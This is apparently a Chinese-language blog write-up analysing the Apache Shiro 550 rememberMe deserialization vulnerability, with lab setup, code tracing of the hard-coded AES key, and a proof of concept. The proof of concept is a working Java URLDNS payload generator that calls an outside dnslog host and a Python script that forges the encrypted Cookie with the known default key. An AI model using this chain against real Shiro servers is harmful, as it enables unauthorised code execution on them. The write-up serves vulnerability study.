Apache shiro简介 shiro是一种开源的java安全框架。它提供了身份验证(Authentication)、授权(Authorization)、加密(Cryptography)和会话管理(Session Management)等安全功能,用于保护Web应用程序和非Web应用程序中的安全性。可运行在web应用和非web应用中。使用Shiro框架可以使应用程序的安全性得到提高,同时也可以使开发者更加方便地进行身份验证、授权和会话管理等操作,减少了开发的复杂度和工作量。
漏洞原理 shiro框架提供了保持会话的功能,当用户勾选Remember Me并且登录成功后,服务端会返回一个字段名为rememberMe的Cookie字段,该字段将登录信息序列化,AES加密后base64编码作为rememberMe字段值返回给客户端。用户以后每次登录时携带此Cookie就可以免账号密码登录。由于AES是固定key加密,key是写死在源代码中的,(后面分析会讲)那么攻击者就可以将恶意代码序列化,AES加密并编码通过Cookie传递服务端达到恶意代码执行的目的。
影响版本:Apache Shiro <= 1.2.4
环境搭建 Github上有现成的代码包,下载shiro-1.2.4源码:https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4,另外在pom.xml配置文件中添加此Maven依赖。 
<?xml version="1.0"  encoding="UTF-8" ?> <project  xmlns ="http://maven.apache.org/POM/4.0.0"  xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance"  xsi:schemaLocation ="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd" >     <parent >          <groupId > org.apache.shiro.samples</groupId >          <artifactId > shiro-samples</artifactId >          <version > 1.2.4</version >          <relativePath > ../pom.xml</relativePath >      </parent >      <modelVersion > 4.0.0</modelVersion >      <artifactId > samples-web</artifactId >      <name > Apache Shiro :: Samples :: Web</name >      <packaging > war</packaging >      <build >          <plugins >              <plugin >                  <artifactId > maven-surefire-plugin</artifactId >                  <configuration >                      <forkMode > never</forkMode >                  </configuration >              </plugin >              <plugin >                  <groupId > org.mortbay.jetty</groupId >                  <artifactId > maven-jetty-plugin</artifactId >                  <version > ${jetty.version}</version >                  <configuration >                      <contextPath > /</contextPath >                      <connectors >                          <connector  implementation ="org.mortbay.jetty.nio.SelectChannelConnector" >                              <port > 9080</port >                              <maxIdleTime > 60000</maxIdleTime >                          </connector >                      </connectors >                      <requestLog  implementation ="org.mortbay.jetty.NCSARequestLog" >                          <filename > ./target/yyyy_mm_dd.request.log</filename >                          <retainDays > 90</retainDays >                          <append > true</append >                          <extended > false</extended >                          <logTimeZone > GMT</logTimeZone >                      </requestLog >                  </configuration >              </plugin >          </plugins >      </build >      <dependencies >                                                       <dependency >              <groupId > javax.servlet</groupId >              <artifactId > servlet-api</artifactId >                       </dependency >          <dependency >              <groupId > org.slf4j</groupId >              <artifactId > slf4j-log4j12</artifactId >              <scope > runtime</scope >          </dependency >          <dependency >              <groupId > log4j</groupId >              <artifactId > log4j</artifactId >              <scope > runtime</scope >          </dependency >          <dependency >              <groupId > net.sourceforge.htmlunit</groupId >              <artifactId > htmlunit</artifactId >              <version > 2.6</version >                       </dependency >          <dependency >              <groupId > org.apache.shiro</groupId >              <artifactId > shiro-core</artifactId >          </dependency >          <dependency >              <groupId > org.apache.shiro</groupId >              <artifactId > shiro-web</artifactId >          </dependency >          <dependency >              <groupId > org.mortbay.jetty</groupId >              <artifactId > jetty</artifactId >              <version > ${jetty.version}</version >              <scope > test</scope >          </dependency >          <dependency >              <groupId > org.mortbay.jetty</groupId >              <artifactId > jsp-2.1-jetty</artifactId >              <version > ${jetty.version}</version >              <scope > test</scope >          </dependency >          <dependency >              <groupId > org.slf4j</groupId >              <artifactId > jcl-over-slf4j</artifactId >              <scope > runtime</scope >          </dependency >          <dependency >              <groupId > javax.servlet</groupId >              <artifactId > jstl</artifactId >                           <version > 1.2</version >              <scope > runtime</scope >          </dependency >                                                   </dependencies >  </project > 
用idea打开\shiro-shiro-root-1.2.4\samples\web,配置tomcat服务器,在这就不说了。直接运行,启动shiro的web站点。
游览器访问8080端口,
环境搭建成功。
shiro加密流程分析 在没登陆之前:
Cookie中是没有rememberMe字段的,抓包登录进去,勾选Remember Me选项。
返回一个set-Cookie字段,这个字段就是序列化字符串AES和base64加密后的结果。漏洞点也就在这个字段。
我们可以在AbstractRememberMeManager类的onSuccessfulLogin方法里下个断点,这个方法会在用户登录成功后调用。在if判断里下个断点,这个是判断是否勾选Remember Me字段的。如果是,就调用rememberIdentity方法,如果不是,就返回debug信息。调试一下。
这里判断true,进入到rememberIdentity方法,
getIdentityToRemember方法返回用户登录信息,接着进入rememberIdentity方法,
跟进convertPrincipalsToBytes方法,它返回的是一个bytes数组,步入。
首先对用户的登录信息序列化,然后利用encrypt函数对其进行加密,加密具体细节不再展示,是AES加密,感兴趣的小伙伴可以自己跟一下。加密完成后返回,继续调用rememberSerializedIdentity方法,
在这个方法中对加密后的字节数组流base64编码,然后将它设置在Cookie里返回给客户端,前面抓包看到返回包中的Cookie就是这么形成的了。
漏洞利用 既然能设置Cookie,那么也能读取Cookie。读取Cookie的方法就是getRememberedSerializedIdentity,从客户端读取Cookie并且base64解码,看看谁调用了,往上找。
在父类的getRememberedPrincipals方法中调用了它。这里的bytes就是加密后的字节流,过了判断之后就进入if调用convertBytesToPrincipals方法,跟进。
先解密,然后调用反序列化函数,这个反序列化函数就不跟了,直接看decrypt函数。
这里就调用cipherService.decrypt解密了。encrypted是密文,而getDecryptionCipherKey()返回key,开头讲到过,key是写死 在源代码中的,看能不能找到。跟进这个方法。
返回一个属性,看一下这个属性是在哪赋值的。
继续往上找,
还是查找用法。
最后会在构造函数中调用此方法,
这个就是AES加密的key了。在shiro-1.2.4版本中,关于rememberMe加密的,key已知并且固定,就可以恶意构造Cookie来打一些CC的依赖进而RCE。而关于shiro反序列化来RCE的链子在下篇文章中说明,在此埋下伏笔。这篇文章就用URLDNS链来验证反序列化是否行得通。
URLDNS链的EXP:
package  com.payload;import  java.io.*;import  java.io.Serializable;import  java.lang.reflect.Field;import  java.net.MalformedURLException;import  java.net.URL;import  java.util.HashMap;public  class  payload  {    public  static  void  serialize (Object object)  throws  IOException {         FileOutputStream  fileOutputStream  =  new  FileOutputStream ("web.bin" );         ObjectOutputStream  objectOutputStream  =  new  ObjectOutputStream (fileOutputStream);         objectOutputStream.writeObject(object);         System.out.println("1.序列化成功" );     }     public  static  void  main (String[] args)  throws  IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {         HashMap<URL,Integer>hashMap = new  HashMap <URL,Integer>();         URL  url  =  new  URL ("http://qyoubz.dnslog.cn" );         Class  c  =  url.getClass();         Field  hashcodefiled  =  c.getDeclaredField("hashCode" );         hashcodefiled.setAccessible(true );         hashcodefiled.set(url,1234 );         hashMap.put(url,1 );         hashcodefiled.set(url,-1 );         serialize(hashMap);     } } 
再利用已知key对其AES和base64加密,python脚本为:
import  base64import  uuidimport  subprocessfrom  Crypto.Cipher import  AESdef  get_file_data (filename ):    with   open (filename,'rb' ) as  f:         data = f.read()     return  data def  aes_enc (data ):    BS = AES.block_size     pad = lambda  s: s + ((BS - len (s) % BS) * chr (BS - len (s) % BS)).encode()     key = "kPH+bIxk5D2deZiIxcaaaA=="      mode = AES.MODE_CBC     iv = uuid.uuid4().bytes      encryptor = AES.new(base64.b64decode(key), mode, iv)     ciphertext =  base64.b64encode(iv+encryptor.encrypt(pad(data)))     return  ciphertext if  __name__ == '__main__' :    data = get_file_data("web.bin" )     print (aes_enc(data)) 
替换Cookie发包:
用户角色变为Guest,
成功发起DNS请求解析,反序列化验证成功。
反序列化之路任重而道远。
参考链接  Java安全之Shiro 550反序列化漏洞分析 
shiro550流程分析